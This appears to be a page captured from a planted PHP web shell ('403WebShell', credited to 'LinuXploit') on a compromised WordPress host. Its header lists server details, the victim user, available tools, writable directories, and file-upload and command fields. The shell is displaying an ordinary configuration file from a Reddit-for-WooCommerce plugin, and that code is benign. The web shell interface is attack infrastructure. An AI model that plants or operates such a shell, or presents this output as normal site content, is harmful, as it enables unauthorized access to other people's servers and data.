Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/maze/wp-content/plugins/reddit-for-woocommerce/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/maze/wp-content/plugins/reddit-for-woocommerce/includes/Config.php
<?php
/**
 * Plugin-wide configuration constants for the Ad Partner integration with WooCommerce.
 *
 * This class centralizes shared configuration values such as REST API namespaces,
 * option prefixes, and script handles, ensuring consistency across the plugin.
 *
 * @package RedditForWooCommerce
 */

namespace RedditForWooCommerce;

/**
 * Defines global constants used throughout the Ad Partner integration plugin.
 *
 * This final class acts as a container for static configuration constants.
 * It is not intended to be instantiated or extended.
 *
 * @since 0.1.0
 */
final class Config {
	/**
	 * Unique slug identifier for the Ad Partner plugin.
	 *
	 * Used for naming purposes such as Action Scheduler groups, admin page slugs,
	 * and internal prefixing of action/filter hooks.
	 * Example: `reddit_for_woocommerce`
	 *
	 * @since 0.1.0
	 */
	const PLUGIN_SLUG = 'reddit_for_woocommerce';

	/**
	 * The namespace used for all REST API endpoints exposed by this plugin.
	 *
	 * This value is appended to `/wp-json/` to form the full route base.
	 * Example: `/wp-json/wc/rfw/reddit/config`
	 *
	 * @since 0.1.0
	 *
	 * @todo: Change this to the actual WCS endpoint.
	 */
	const REST_NAMESPACE = 'wc/rfw';

	/**
	 * Prefix used for all WordPress storage keys managed by this plugin.
	 *
	 * This prefix is prepended to all storage names (options or transients) to group
	 * them under a consistent namespace.
	 * Example: `reddit_pixel_enabled`, `reddit_access_token`
	 *
	 * @since 0.1.0
	 */
	const STORE_PREFIX = 'reddit_';

	/**
	 * Prefix used for all asset handles registered or enqueued by this plugin.
	 *
	 * Used in `wp_enqueue_script`, `wp_register_style`, etc., to avoid name collisions.
	 * Example: `reddit_pixel-tracking`, `reddit_admin-settings`
	 *
	 * @since 0.1.0
	 */
	const ASSET_HANDLE_PREFIX = 'reddit_';

	/**
	 * JavaScript global variable prefix used for frontend data localization.
	 *
	 * This constant defines the prefix applied to all global variables created via `AssetLoader::localize_script()`.
	 * For example, when localizing with object name `TrackingData`, the resulting JS global will be:
	 * `window.redditAdsTrackingData`.
	 *
	 * This is used by Ad Partner scripts to access configuration, product metadata, or event identifiers
	 * injected into the page from the server.
	 *
	 * @since 0.1.0
	 *
	 * @see \RedditForWooCommerce\Utils\AssetLoader::localize_script()
	 */
	const AD_PARTNER_JS_VAR_PREFIX = 'redditAds';
}

Youez - 2016 - github.com/yon3zu
LinuXploit